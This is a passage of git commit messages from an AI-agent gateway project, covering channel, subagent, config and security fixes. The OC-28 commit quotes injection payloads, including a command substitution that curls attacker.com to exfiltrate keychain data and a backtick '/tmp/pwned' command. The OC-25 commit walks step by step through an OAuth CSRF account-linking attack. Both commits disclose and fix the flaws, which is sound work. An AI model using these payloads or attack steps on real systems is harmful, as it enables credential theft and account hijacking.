Adds normalizeDiscordOutboundTarget() to the existing Discord
normalize module (channels/plugins/normalize/discord.ts) alongside
normalizeDiscordMessagingTarget. Defaults bare numeric IDs to
'channel:<id>', matching existing behavior.
Both the Discord extension plugin and standalone outbound adapter
use the shared helper via a one-liner resolveTarget.
Fixes#14753. Related: #13927
The test verifies that cooldownUntil IS cleared when it equals exactly
`now` (>= comparison), but the test name said "does not clear". Fixed
the name to match the actual assertion behavior.
When an auth profile hits a rate limit, `errorCount` is incremented and
`cooldownUntil` is set with exponential backoff. After the cooldown
expires, the time-based check correctly returns false — but `errorCount`
persists. The next transient failure immediately escalates to a much
longer cooldown because the backoff formula uses the stale count:
60s × 5^(errorCount-1), max 1h
This creates a positive feedback loop where profiles appear permanently
stuck after rate limits, requiring manual JSON editing to recover.
Add `clearExpiredCooldowns()` which sweeps all profiles on every call to
`resolveAuthProfileOrder()` and clears expired `cooldownUntil` /
`disabledUntil` values along with resetting `errorCount` and
`failureCounts` — giving the profile a fair retry window (circuit-breaker
half-open → closed transition).
Key design decisions:
- `cooldownUntil` and `disabledUntil` handled independently (a profile
can have both; only the expired one is cleared)
- `errorCount` reset only when ALL unusable windows have expired
- `lastFailureAt` preserved for the existing failureWindowMs decay logic
- In-memory mutation; disk persistence happens lazily on the next store
write, matching the existing save pattern
Fixes#3604
Related: #13623, #15851, #11972, #8434
Addresses Greptile review feedback: locks in behavior when an agent
has skills: [] (explicit empty list), ensuring skillFilter: [] is
forwarded to buildWorkspaceSkillSnapshot to filter out all skills.
Isolated cron sessions called buildWorkspaceSkillSnapshot without
the skillFilter parameter, causing all skills to be included even
when an agent had a restricted skills list via agents.list[].skills.
Resolves the filter using resolveAgentSkillsFilter and passes it
through, aligning isolated cron with main session behavior.
Fixes#10804
- Display session labels in the session selector
- Cap selector width to 300px
- Standardize key prefixes and fallback names for subagent and cron job sessions
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* Agents: mark missing tool params as non-retryable
* Agents: include all missing required params in tool errors
* Agents: change required-param errors to retry guidance
* Docs: align changelog text for issue #14729 guidance wording
* feat(image-tool): support multiple images in a single tool call
- Change 'image' parameter to accept string | string[] (Type.Union)
- Add 'maxImages' parameter (default 5) to cap abuse/token explosion
- Update buildImageContext to create multiple image content parts
- Normalize single string input to array for unified processing
- Keep full backward compatibility: single string works as before
- Update tool descriptions for both vision and non-vision models
- MiniMax VLM falls back to first image (single-image API)
- Details output adapts: 'image' key for single, 'images' for multi
* bump default max images from 5 to 20
* fix(discord): role-based allowlist never matches because Carbon Role objects stringify to mentions
Carbon's GuildMember.roles getter returns Role[] objects, not raw ID strings.
String(Role) produces '<@&123456>' which never matches the plain role IDs
in the guild allowlist config.
Use data.rawMember.roles (raw Discord API string array) instead of
data.member.roles (Carbon Role[] objects) for role ID extraction.
Fixes#16207
* Docs: add discord role allowlist changelog entry
---------
Co-authored-by: Shadow <hi@shadowing.dev>
Verified:
- pnpm build
- pnpm check (fails on current main with unrelated type errors in src/memory/embedding-manager.test-harness.ts)
- pnpm test:macmini (not run after pnpm check failure)
- pnpm test -- src/gateway/server-methods/send.test.ts
Co-authored-by: rodrigouroz <165576107+rodrigouroz@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
- Move hasAudio detection before bodyText building
- Move preflight transcription before bodyText building
- If audio has transcript, use transcript as bodyText
- Otherwise use <media:audio> placeholder
Fixes#16772: Telegram voice messages leak raw audio binary into chat context
Co-authored-by: Limitless2023 <limitless@users.noreply.github.com>
* Agents: add subagent orchestration controls
* Agents: add subagent orchestration controls (WIP uncommitted changes)
* feat(subagents): add depth-based spawn gating for sub-sub-agents
* feat(subagents): tool policy, registry, and announce chain for nested agents
* feat(subagents): system prompt, docs, changelog for nested sub-agents
* fix(subagents): prevent model fallback override, show model during active runs, and block context overflow fallback
Bug 1: When a session has an explicit model override (e.g., gpt/openai-codex),
the fallback candidate logic in resolveFallbackCandidates silently appended the
global primary model (opus) as a backstop. On reinjection/steer with a transient
error, the session could fall back to opus which has a smaller context window
and crash. Fix: when storedModelOverride is set, pass fallbacksOverride ?? []
instead of undefined, preventing the implicit primary backstop.
Bug 2: Active subagents showed 'model n/a' in /subagents list because
resolveModelDisplay only read entry.model/modelProvider (populated after run
completes). Fix: fall back to modelOverride/providerOverride fields which are
populated at spawn time via sessions.patch.
Bug 3: Context overflow errors (prompt too long, context_length_exceeded) could
theoretically escape runEmbeddedPiAgent and be treated as failover candidates
in runWithModelFallback, causing a switch to a model with a smaller context
window. Fix: in runWithModelFallback, detect context overflow errors via
isLikelyContextOverflowError and rethrow them immediately instead of trying the
next model candidate.
* fix(subagents): track spawn depth in session store and fix announce routing for nested agents
* Fix compaction status tracking and dedupe overflow compaction triggers
* fix(subagents): enforce depth block via session store and implement cascade kill
* fix: inject group chat context into system prompt
* fix(subagents): always write model to session store at spawn time
* Preserve spawnDepth when agent handler rewrites session entry
* fix(subagents): suppress announce on steer-restart
* fix(subagents): fallback spawned session model to runtime default
* fix(subagents): enforce spawn depth when caller key resolves by sessionId
* feat(subagents): implement active-first ordering for numeric targets and enhance task display
- Added a test to verify that subagents with numeric targets follow an active-first list ordering.
- Updated `resolveSubagentTarget` to sort subagent runs based on active status and recent activity.
- Enhanced task display in command responses to prevent truncation of long task descriptions.
- Introduced new utility functions for compacting task text and managing subagent run states.
* fix(subagents): show model for active runs via run record fallback
When the spawned model matches the agent's default model, the session
store's override fields are intentionally cleared (isDefault: true).
The model/modelProvider fields are only populated after the run
completes. This left active subagents showing 'model n/a'.
Fix: store the resolved model on SubagentRunRecord at registration
time, and use it as a fallback in both display paths (subagents tool
and /subagents command) when the session store entry has no model info.
Changes:
- SubagentRunRecord: add optional model field
- registerSubagentRun: accept and persist model param
- sessions-spawn-tool: pass resolvedModel to registerSubagentRun
- subagents-tool: pass run record model as fallback to resolveModelDisplay
- commands-subagents: pass run record model as fallback to resolveModelDisplay
* feat(chat): implement session key resolution and reset on sidebar navigation
- Added functions to resolve the main session key and reset chat state when switching sessions from the sidebar.
- Updated the `renderTab` function to handle session key changes when navigating to the chat tab.
- Introduced a test to verify that the session resets to "main" when opening chat from the sidebar navigation.
* fix: subagent timeout=0 passthrough and fallback prompt duplication
Bug 1: runTimeoutSeconds=0 now means 'no timeout' instead of applying 600s default
- sessions-spawn-tool: default to undefined (not 0) when neither timeout param
is provided; use != null check so explicit 0 passes through to gateway
- agent.ts: accept 0 as valid timeout (resolveAgentTimeoutMs already handles
0 → MAX_SAFE_TIMEOUT_MS)
Bug 2: model fallback no longer re-injects the original prompt as a duplicate
- agent.ts: track fallback attempt index; on retries use a short continuation
message instead of the full original prompt since the session file already
contains it from the first attempt
- Also skip re-sending images on fallback retries (already in session)
* feat(subagents): truncate long task descriptions in subagents command output
- Introduced a new utility function to format task previews, limiting their length to improve readability.
- Updated the command handler to use the new formatting function, ensuring task descriptions are truncated appropriately.
- Adjusted related tests to verify that long task descriptions are now truncated in the output.
* refactor(subagents): update subagent registry path resolution and improve command output formatting
- Replaced direct import of STATE_DIR with a utility function to resolve the state directory dynamically.
- Enhanced the formatting of command output for active and recent subagents, adding separators for better readability.
- Updated related tests to reflect changes in command output structure.
* fix(subagent): default sessions_spawn to no timeout when runTimeoutSeconds omitted
The previous fix (75a791106) correctly handled the case where
runTimeoutSeconds was explicitly set to 0 ("no timeout"). However,
when models omit the parameter entirely (which is common since the
schema marks it as optional), runTimeoutSeconds resolved to undefined.
undefined flowed through the chain as:
sessions_spawn → timeout: undefined (since undefined != null is false)
→ gateway agent handler → agentCommand opts.timeout: undefined
→ resolveAgentTimeoutMs({ overrideSeconds: undefined })
→ DEFAULT_AGENT_TIMEOUT_SECONDS (600s = 10 minutes)
This caused subagents to be killed at exactly 10 minutes even though
the user's intent (via TOOLS.md) was for subagents to run without a
timeout.
Fix: default runTimeoutSeconds to 0 (no timeout) when neither
runTimeoutSeconds nor timeoutSeconds is provided by the caller.
Subagent spawns are long-running by design and should not inherit the
600s agent-command default timeout.
* fix(subagent): accept timeout=0 in agent-via-gateway path (second 600s default)
* fix: thread timeout override through getReplyFromConfig dispatch path
getReplyFromConfig called resolveAgentTimeoutMs({ cfg }) with no override,
always falling back to the config default (600s). Add timeoutOverrideSeconds
to GetReplyOptions and pass it through as overrideSeconds so callers of the
dispatch chain can specify a custom timeout (0 = no timeout).
This complements the existing timeout threading in agentCommand and the
cron isolated-agent runner, which already pass overrideSeconds correctly.
* feat(model-fallback): normalize OpenAI Codex model references and enhance fallback handling
- Added normalization for OpenAI Codex model references, specifically converting "gpt-5.3-codex" to "openai-codex" before execution.
- Updated the `resolveFallbackCandidates` function to utilize the new normalization logic.
- Enhanced tests to verify the correct behavior of model normalization and fallback mechanisms.
- Introduced a new test case to ensure that the normalization process works as expected for various input formats.
* feat(tests): add unit tests for steer failure behavior in openclaw-tools
- Introduced a new test file to validate the behavior of subagents when steer replacement dispatch fails.
- Implemented tests to ensure that the announce behavior is restored correctly and that the suppression reason is cleared as expected.
- Enhanced the subagent registry with a new function to clear steer restart suppression.
- Updated related components to support the new test scenarios.
* fix(subagents): replace stop command with kill in slash commands and documentation
- Updated the `/subagents` command to replace `stop` with `kill` for consistency in controlling sub-agent runs.
- Modified related documentation to reflect the change in command usage.
- Removed legacy timeoutSeconds references from the sessions-spawn-tool schema and tests to streamline timeout handling.
- Enhanced tests to ensure correct behavior of the updated commands and their interactions.
* feat(tests): add unit tests for readLatestAssistantReply function
- Introduced a new test file for the `readLatestAssistantReply` function to validate its behavior with various message scenarios.
- Implemented tests to ensure the function correctly retrieves the latest assistant message and handles cases where the latest message has no text.
- Mocked the gateway call to simulate different message histories for comprehensive testing.
* feat(tests): enhance subagent kill-all cascade tests and announce formatting
- Added a new test to verify that the `kill-all` command cascades through ended parents to active descendants in subagents.
- Updated the subagent announce formatting tests to reflect changes in message structure, including the replacement of "Findings:" with "Result:" and the addition of new expectations for message content.
- Improved the handling of long findings and stats in the announce formatting logic to ensure concise output.
- Refactored related functions to enhance clarity and maintainability in the subagent registry and tools.
* refactor(subagent): update announce formatting and remove unused constants
- Modified the subagent announce formatting to replace "Findings:" with "Result:" and adjusted related expectations in tests.
- Removed constants for maximum announce findings characters and summary words, simplifying the announcement logic.
- Updated the handling of findings to retain full content instead of truncating, ensuring more informative outputs.
- Cleaned up unused imports in the commands-subagents file to enhance code clarity.
* feat(tests): enhance billing error handling in user-facing text
- Added tests to ensure that normal text mentioning billing plans is not rewritten, preserving user context.
- Updated the `isBillingErrorMessage` and `sanitizeUserFacingText` functions to improve handling of billing-related messages.
- Introduced new test cases for various scenarios involving billing messages to ensure accurate processing and output.
- Enhanced the subagent announce flow to correctly manage active descendant runs, preventing premature announcements.
* feat(subagent): enhance workflow guidance and auto-announcement clarity
- Added a new guideline in the subagent system prompt to emphasize trust in push-based completion, discouraging busy polling for status updates.
- Updated documentation to clarify that sub-agents will automatically announce their results, improving user understanding of the workflow.
- Enhanced tests to verify the new guidance on avoiding polling loops and to ensure the accuracy of the updated prompts.
* fix(cron): avoid announcing interim subagent spawn acks
* chore: clean post-rebase imports
* fix(cron): fall back to child replies when parent stays interim
* fix(subagents): make active-run guidance advisory
* fix(subagents): update announce flow to handle active descendants and enhance test coverage
- Modified the announce flow to defer announcements when active descendant runs are present, ensuring accurate status reporting.
- Updated tests to verify the new behavior, including scenarios where no fallback requester is available and ensuring proper handling of finished subagents.
- Enhanced the announce formatting to include an `expectFinal` flag for better clarity in the announcement process.
* fix(subagents): enhance announce flow and formatting for user updates
- Updated the announce flow to provide clearer instructions for user updates based on active subagent runs and requester context.
- Refactored the announcement logic to improve clarity and ensure internal context remains private.
- Enhanced tests to verify the new message expectations and formatting, including updated prompts for user-facing updates.
- Introduced a new function to build reply instructions based on session context, improving the overall announcement process.
* fix: resolve prep blockers and changelog placement (#14447) (thanks @tyler6204)
* fix: restore cron delivery-plan import after rebase (#14447) (thanks @tyler6204)
* fix: resolve test failures from rebase conflicts (#14447) (thanks @tyler6204)
* fix: apply formatting after rebase (#14447) (thanks @tyler6204)
`openclaw nodes run` always timed out after 35s with "gateway timeout
after 35000ms" even though `openclaw nodes invoke system.run` worked
instantly on the same node.
Root cause: the CLI's default --timeout of 35s was used as the WebSocket
transport timeout for exec.approval.request, but the gateway-side
handler waits up to 120s for user approval — so the transport was always
killed 85s too early.
Fix: override opts.timeout for the approval call to
Math.max(parseTimeoutMs(opts.timeout) ?? 0, approvalTimeoutMs + 10_000)
(130s by default), ensuring the transport outlasts the approval wait
while still honoring any larger user-supplied --timeout.
LINE Platform sends POST {"events":[]} without an X-Line-Signature
header when the user clicks 'Verify' in the LINE Developers Console.
Both webhook.ts and monitor.ts rejected this with 400 'Missing
X-Line-Signature header', causing verification to fail.
Now detect the verification pattern (no signature + empty events array)
and return 200 OK immediately, while still requiring valid signatures
for all real webhook deliveries with non-empty events.
Fixes#16425
The base image (Dockerfile.sandbox) sets USER sandbox at the end, so
when sandbox-common-setup.sh builds FROM it, apt-get runs as the
unprivileged sandbox user and fails with 'Permission denied'.
Add USER root before apt-get/npm/curl install steps, and restore
USER sandbox at the end to preserve the non-root runtime default.
Fixes#16420
Watch SKILL.md only (and one-level SKILL.md in skill roots) to prevent chokidar from tracking huge unrelated trees.
Co-authored-by: household-bard <shakespeare@hessianinformatics.com>
* fix(bluebubbles): include sender identity in group chat envelopes
Use formatInboundEnvelope (matching iMessage/Signal pattern) so group
messages show the group label in the envelope header and include the
sender name in the message body. ConversationLabel now resolves to the
group name for groups instead of being undefined.
Fixes#16210
Co-authored-by: zerone0x <hi@trine.dev>
* fix(bluebubbles): use finalizeInboundContext and set BodyForAgent to raw text
Wrap ctxPayload with finalizeInboundContext (matching iMessage/Signal/
every other channel) so field normalization, ChatType, ConversationLabel
fallback, and MediaType alignment are applied consistently.
Change BodyForAgent from the envelope-formatted body to rawBody so the
agent prompt receives clean message text instead of the [BlueBubbles ...]
envelope wrapper.
Co-authored-by: zerone0x <hi@trine.dev>
* docs: add changelog entry for BlueBubbles group sender fix (#16326)
* fix(bluebubbles): include id in fromLabel matching formatInboundFromLabel
Align fromLabel output with the shared formatInboundFromLabel pattern:
groups get 'GroupName id:peerId', DMs get 'Name id:senderId' when the
name differs from the id. Addresses PR review feedback.
Co-authored-by: zerone0x <hi@trine.dev>
---------
Co-authored-by: zerone0x <hi@trine.dev>
The webchat channel sent NO_REPLY as visible text to clients instead
of suppressing it. Other channels (Telegram, Discord) already filter
this token via the reply dispatcher, but the webchat streaming path
bypassed this check.
Fixes#16269
* feat(podman): add optional Podman setup and documentation
- Introduced `setup-podman.sh` for one-time host setup of OpenClaw in a rootless Podman environment, including user creation, image building, and launch script installation.
- Added `run-openclaw-podman.sh` for running the OpenClaw gateway as a Podman container.
- Created `openclaw.podman.env` for environment variable configuration.
- Updated documentation to include Podman installation instructions and a new dedicated Podman guide.
- Added a systemd Quadlet unit for managing the OpenClaw service as a user service.
* fix: harden Podman setup and docs (#16273) (thanks @DarwinsBuddy)
* style: format cli credentials
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(discord): defer component interactions to prevent timeout
Discord requires interaction responses within 3 seconds. Button clicks
were routed through the LLM pipeline before responding, exceeding this
window and showing 'This interaction failed' to users.
Now immediately defers the interaction, then processes the agent
response asynchronously.
Fixes#16262
* fix: harden deferred interaction replies and silent chat finals (#16287) (thanks @robbyczgw-cla)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).
## Vulnerable Code
The previous implementation built a shell command via string
interpolation with single-quote escaping:
execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)
The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.
## Attack Vector
User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`
These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.
## Fix
execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:
execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])
This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
* fix: Signal and markdown formatting improvements
Markdown IR fixes:
- Fix list-paragraph spacing (extra newline between list items and following paragraphs)
- Fix nested list indentation and newline handling
- Fix blockquote_close emitting redundant newline (inner content handles spacing)
- Render horizontal rules as visible ─── separator instead of silent drop
- Strip inner cell styles in code-mode tables to prevent overlapping with code_block span
Signal formatting fixes:
- Normalize URLs for dedup comparison (strip protocol, www., trailing slash)
- Render headings as bold text (headingStyle: 'bold')
- Add '> ' prefix to blockquotes for visual distinction
- Re-chunk after link expansion to respect chunk size limits
Tests:
- 51 new tests for markdown IR (spacing, lists, blockquotes, tables, HR)
- 18 new tests for Signal formatting (URL dedup, headings, blockquotes, HR, chunking)
- Update Slack nested list test expectation to match corrected IR output
* refactor: style-aware Signal text chunker
Replace indexOf-based chunk position tracking with deterministic
cursor tracking. The new splitSignalFormattedText:
- Splits at whitespace/newline boundaries within the limit
- Avoids breaking inside parentheses (preserves expanded link URLs)
- Slices style ranges at chunk boundaries with correct local offsets
- Tracks position via offset arithmetic instead of fragile indexOf
Removes dependency on chunkText from auto-reply/chunk.
Tests: 19 new tests covering style preservation across chunk boundaries,
edge cases (empty text, under limit, exact split points), and integration
with link expansion.
* fix: correct Signal style offsets with multiple link expansions
applyInsertionsToStyles() was using original coordinates for each
insertion without tracking cumulative shift from prior insertions.
This caused bold/italic/etc styles to drift to wrong text positions
when multiple markdown links expanded in a single message.
Added cumulative shift tracking and a regression test.
* test: clean up test noise and fix ineffective assertions
- Remove console.log from ir.list-spacing and ir.hr-spacing tests
- Fix ir.nested-lists.test.ts: remove ineffective regex assertion
- Fix ir.hr-spacing.test.ts: add actual assertions to edge case test
* refactor: split Signal formatting tests (#9781) (thanks @heyhudson)
---------
Co-authored-by: Hudson <258693705+hudson-rivera@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: strip leading whitespace from sanitizeUserFacingText output
LLM responses frequently begin with \n\n, which survives through
sanitizeUserFacingText and reaches the channel as visible blank lines.
Root cause: the function used trimmed text for empty-checks but returned
the untrimmed 'stripped' variable. Two one-line fixes:
1. Return empty string (not whitespace-only 'stripped') for blank input
2. Apply trimStart() to the final return value
Fixes the same issue as #8052 and #10612 but at the root cause
(sanitizeUserFacingText) rather than scattering trimStart across
multiple delivery paths.
* Changelog: note sanitizeUserFacingText whitespace normalization
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(security): validate OAuth state parameter to prevent CSRF attacks (OC-25)
The parseOAuthCallbackInput() function in the Chutes OAuth flow had two
critical bugs that completely defeated CSRF state validation:
1. State extracted from callback URL was never compared against the
expected cryptographic nonce, allowing attacker-controlled state values
2. When URL parsing failed (bare authorization code input), the catch block
fabricated a matching state using expectedState, making the caller's
CSRF check always pass
## Attack Flow
1. Victim runs `openclaw login chutes --manual`
2. System generates cryptographic state: randomBytes(16).toString("hex")
3. Browser opens: https://api.chutes.ai/idp/authorize?state=abc123...
4. Attacker obtains their OWN OAuth authorization code (out of band)
5. Attacker tricks victim into pasting just "EVIL_CODE" (not full URL)
6. parseOAuthCallbackInput("EVIL_CODE", "abc123...") is called
7. new URL("EVIL_CODE") throws → catch block executes
8. catch returns { code: "EVIL_CODE", state: "abc123..." } ← FABRICATED
9. Caller checks: parsed.state !== state → "abc123..." !== "abc123..." → FALSE
10. CSRF check passes! System calls exchangeChutesCodeForTokens()
11. Attacker's code exchanged for access + refresh tokens
12. Victim's account linked to attacker's OAuth session
Fix:
- Add explicit state validation against expectedState before returning
- Remove state fabrication from catch block; always return error for
non-URL input
- Add comprehensive unit tests for state validation
Remediated by Aether AI Agent security analysis.
* fix(security): harden chutes manual oauth state check (#16058) (thanks @aether-ai-agent)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* feat(sandbox): add separate browser.binds config for browser containers
Allow configuring bind mounts independently for browser containers via
sandbox.browser.binds. When set, browser containers use browser-specific
binds instead of inheriting docker.binds. Falls back to docker.binds
when browser.binds is not configured for backwards compatibility.
Closes#14614
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(sandbox): honor empty browser binds override (#16230) (thanks @seheepeak)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
When the same plugin directory is discovered through different path
representations (e.g. symlinks), the manifest registry incorrectly
warns about a duplicate plugin id. This is a false positive that
appears for bundled extensions like feishu (#16208).
Compare fs.realpathSync() of both candidates' rootDir before emitting
the duplicate warning. If they resolve to the same physical directory,
silently skip the duplicate instead of warning.
Also change seenIds from Set<string> to Map<string, PluginCandidate>
to track the first-seen candidate for comparison.
Closes#16208
Ollama's OpenAI-compatible endpoint handles reasoning natively via the
`reasoning` field in streaming chunks. Treating Ollama as a
reasoning-tag provider incorrectly forces <think>/<final> tag
enforcement, which causes stripBlockTags() to discard all output
(since Ollama models don't emit <final> tags), resulting in
'(no output)' for every Ollama model.
This fix removes 'ollama' from the isReasoningTagProvider() check,
allowing Ollama models to work correctly through the standard
content/reasoning field separation.
* fix(slack): download all files in multi-image messages
resolveSlackMedia() previously returned after downloading the first
file, causing multi-image Slack messages to lose all but the first
attachment. This changes the function to collect all successfully
downloaded files into an array, matching the pattern already used by
Telegram, Line, Discord, and iMessage adapters.
The prepare handler now populates MediaPaths, MediaUrls, and
MediaTypes arrays so downstream media processing (vision, sandbox
staging, media notes) works correctly with multiple attachments.
Fixes#11892, #7536
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(slack): preserve MediaTypes index alignment with MediaPaths/MediaUrls
The filter(Boolean) on MediaTypes removed entries with undefined contentType,
shrinking the array and breaking index correlation with MediaPaths and MediaUrls.
Downstream code (media-note.ts, attachments.ts) requires these arrays to have
equal lengths for correct per-attachment MIME type lookup. Replace filter(Boolean)
with a nullish coalescing fallback to "application/octet-stream".
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(slack): align MediaType fallback and tests (#15447) (thanks @CommanderCrowCode)
* fix: unblock plugin-sdk account-id typing (#15447)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
- Add 'minimax-api-key-cn' auth choice for Chinese users
- Reuse existing --minimax-api-key CLI option
- Use MINIMAX_CN_API_BASE_URL (https://api.minimaxi.com/anthropic)
- Similar to how moonshot supports moonshot-api-key-cn
Tested: build ✅, check ✅, test ✅
- src/channels/dock.ts: core channel dock fallback
- src/auto-reply/reply/reply-routing.test.ts: test expectation
- docs/zh-CN/channels/telegram.md: Chinese docs reference
Comprehensive grep confirms no remaining Telegram-specific "first"
defaults after this commit.
In 2026.2.13, the combination of implicit reply threading (#14976) and
the existing Telegram default replyToMode="first" causes every bot
response in DMs to be sent as a native Telegram reply (quoted message
bubble), even for simple exchanges like "Hi" → "Hey".
This is a UX regression: prior to 2026.2.13, reply threading was less
consistent so the "first" default rarely produced visible quote bubbles
in DMs. Now that implicit threading works reliably, the default
effectively means every first message in a response gets quoted —
which feels noisy and unexpected in 1:1 conversations.
Changing the default to "off" restores the pre-2026.2.13 DM experience.
Users who want reply threading can still opt in via config:
channels.telegram.replyToMode: "first" | "all"
Tested by toggling replyToMode on a live 2026.2.13 instance:
- replyToMode="first" → every response quotes the user message
- replyToMode="off" → clean responses without quote bubbles
No test changes needed: existing tests explicitly set replyToMode
rather than relying on the default.
Add support for NVIDIA's API (https://integrate.api.nvidia.com/v1) with three models:
- nvidia/llama-3.1-nemotron-70b-instruct (default)
- nvidia/llama-3.3-70b-instruct
- nvidia/mistral-nemo-minitron-8b-8k-instruct
Users can configure via NVIDIA_API_KEY environment variable or auth profiles.
Co-authored-by: thesomewhatyou <162917831+thesomewhatyou@users.noreply.github.com>
Switch default local embedding model from embeddinggemma-300M to
embeddinggemma-300m-qat (Quantization Aware Training). QAT models are
trained with quantization in mind, yielding better embedding quality
at the same size (Q8_0).
* fix(mattermost): add WebSocket reconnection with exponential backoff
Fixes#13980
The Mattermost WebSocket monitor had no error handling around the
reconnection loop. When connectOnce() threw (e.g. 'fetch failed' from
network issues), the error propagated through the while loop, causing
the gateway to log 'channel exited' and never restart.
Extract runWithReconnect() utility that:
- Catches thrown errors from connectFn and retries
- Uses exponential backoff (2s→4s→8s→...→60s cap)
- Resets backoff after successful connections
- Stops cleanly on abort signal
- Reports errors and reconnect delays via callbacks
* fix(mattermost): make backoff sleep abort-aware and reject on WS connect failure
* fix(mattermost): clean up abort listener on normal timeout to prevent leak
* fix(mattermost): skip error reporting when abort causes connection rejection
* fix(mattermost): use try/finally for abort listener cleanup in connectOnce
* fix: force-close WebSocket on error to prevent reconnect hang
* fix: use ws.terminate() on abort for reliable teardown during CONNECTING state
* fix(mattermost): use initial retry delay for reconnect backoff
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(media): recognize MP3 and M4A as voice-compatible audio
Telegram sendVoice supports OGG/Opus, MP3, and M4A, but
isVoiceCompatibleAudio only recognized OGG/Opus formats.
- Add MP3 and M4A extensions and MIME types
- Use explicit MIME set instead of substring matching
- Handle MIME parameters (e.g. 'audio/ogg; codecs=opus')
- Add test coverage for all supported and unsupported formats
* fix: narrow MIME allowlist per review feedback
Remove audio/mp4 and audio/aac from voice MIME types — too broad.
Keep only M4A-specific types (audio/x-m4a, audio/m4a).
Add audio/mp4 and audio/aac as negative test cases.
* fix: align voice compatibility and channel coverage (#15438) (thanks @azade-c)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(venice): disable streaming to prevent SDK crash with usage-only chunks (#15819)
Venice.ai API returns SSE chunks containing only usage metadata without
a choices array. The SDK crashes trying to access choices[0] on these
chunks with: Cannot read properties of undefined (reading '0')
Changes:
- Disable streaming by default for all Venice models
- Apply to both static catalog and dynamically discovered models
- Users can explicitly enable streaming in config if needed
This is a workaround until the SDK handles Venice's streaming format.
Fixes#15819
* fix(venice): avoid usage streaming chunks for Venice models (openclaw#15878) thanks @Shuai-DaiDai
---------
Co-authored-by: 帅小呆1号 <shuaixiaodai1@openclaw.ai>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: preserve ${VAR} env var references when writing config back to disk
Fixes#11466
When config is loaded, ${VAR} references are resolved to their plaintext
values. Previously, writeConfigFile would serialize the resolved values,
silently replacing "${ANTHROPIC_API_KEY}" with "sk-ant-api03-..." in the
config file.
Now writeConfigFile reads the current file pre-substitution, and for each
value that matches what a ${VAR} reference would resolve to, restores the
original reference. Values the caller intentionally changed are kept as-is.
This fixes all 50+ writeConfigFile call sites (doctor, configure wizard,
gateway config.set/apply/patch, plugins, hooks, etc.) without requiring
any caller changes.
New files:
- src/config/env-preserve.ts — restoreEnvVarRefs() utility
- src/config/env-preserve.test.ts — 11 unit tests
* fix: remove global config env snapshot race
* docs(changelog): note config env snapshot race fix
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix: enforce Telegram 100-command limit with warning (#5787)
Telegram's setMyCommands API rejects requests with more than 100 commands.
When skills + custom + plugin commands exceed the limit, truncate to 100
and warn the user instead of silently failing on every startup.
* fix: enforce Telegram menu cap + keep hidden commands callable (#15844) (thanks @battman21)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(telegram): auto-wrap file references with TLD extensions to prevent URL previews
Telegram's auto-linker aggressively treats filenames like HEARTBEAT.md,
README.md, main.go, script.py as URLs and generates domain registrar previews.
This fix adds comprehensive protection for file extensions that share TLDs:
- High priority: .md, .go, .py, .pl, .ai, .sh
- Medium priority: .io, .tv, .fm, .am, .at, .be, .cc, .co
Implementation:
- Added wrapFileReferencesInHtml() in format.ts
- Runs AFTER markdown→HTML conversion
- Tokenizes HTML to respect tag boundaries
- Skips content inside <code>, <pre>, <a> tags (no nesting issues)
- Applied to all rendering paths: renderTelegramHtmlText, markdownToTelegramHtml,
markdownToTelegramChunks, and delivery.ts fallback
Addresses review comments:
- P1: Now handles chunked rendering paths correctly
- P2: No longer wraps inside existing code blocks (token-based parsing)
- No lookbehinds used (broad Node compatibility)
Includes comprehensive test suite in format.wrap-md.test.ts
AI-assisted: true
* fix(telegram): prevent URL previews for file refs with TLD extensions
Two layers were causing spurious link previews for file references like
`README.md`, `backup.sh`, `main.go`:
1. **markdown-it linkify** converts `README.md` to
`<a href="http://README.md">README.md</a>` (.md = Moldova TLD)
2. **Telegram auto-linker** treats remaining bare text as URLs
## Changes
### Primary fix: suppress auto-linkified file refs in buildTelegramLink
- Added `isAutoLinkedFileRef()` helper that detects when linkify auto-
generated a link from a bare filename (href = "http://" + label)
- Rejects paths with domain-like segments (dots in non-final path parts)
- Modified `buildTelegramLink()` to return null for these, so file refs
stay as plain text and get wrapped in `<code>` by the wrapper
### Safety-net: de-linkify in wrapFileReferencesInHtml
- Added pre-pass that catches auto-linkified anchors in pre-rendered HTML
- Handles edge cases where HTML is passed directly (textMode: "html")
- Reuses `isAutoLinkedFileRef()` logic — no duplication
### Bug fixes discovered during review
- **Fixed `isClosing` bug (line 169)**: the check `match[1] === "/"`
was wrong — the regex `(<\/?)}` captures `<` or `</`, so closing
